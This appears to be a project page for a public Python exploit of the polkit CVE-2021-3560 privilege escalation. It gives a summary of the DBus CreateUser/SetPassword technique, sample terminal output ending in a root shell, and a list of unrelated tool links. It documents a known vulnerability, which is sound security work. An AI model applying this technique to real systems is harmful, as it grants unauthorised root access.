Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication

Terminal Authentication

Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Privilege escalation with polkit - CVE-2021-3560

Related tags

Overview

Polkit-exploit - CVE-2021-3560

Summary

Exploit Code Author

Usage

Demo

Credit

Owner

Ahmad Almorabea

BETA: Layla - recon tool for bug bounty

Password database With special stuff

Android Malware Behavior Deleter

Python Password Generator

Domain abuse scanner covering domainsquatting and phishing keywords.

Cobalt Strike Beacon configuration extractor and parser.

In this program, I generate the strong password from existing password without class using python. The special thing in this program is that is generate very strong password from our existing password. It replaces some elements from password and put another elements in it.

Automatically download all 10,000 CryptoPunk NFTs.

A burp-suite plugin that extract all parameter names from in-scope requests

Volunteer & Campaign Management System

The Devils Eye is an OSINT tool that searches the Darkweb for onion links and descriptions that match with the users query without requiring the use for Tor.

IDA Python Script for anti ollvm

Workshop Material on VM-based Deobfuscation

Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (< v3.6.5) if the CGI is enabled and a CGI program is dynamically linked.

Anti-Nuke capabilities, powerful moderation features, auto punishments, captcha-verification and more.

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Log4j minecraft with python

STATS305C: Applied Statistics III (Spring, 2022)

IP Denial of Service Vulnerability ")A proof of concept for CVE-2021-24086 ("Windows TCP/IP Denial of Service Vulnerability ")

Password-Manager - This app can generate ,save , find and delete passwords.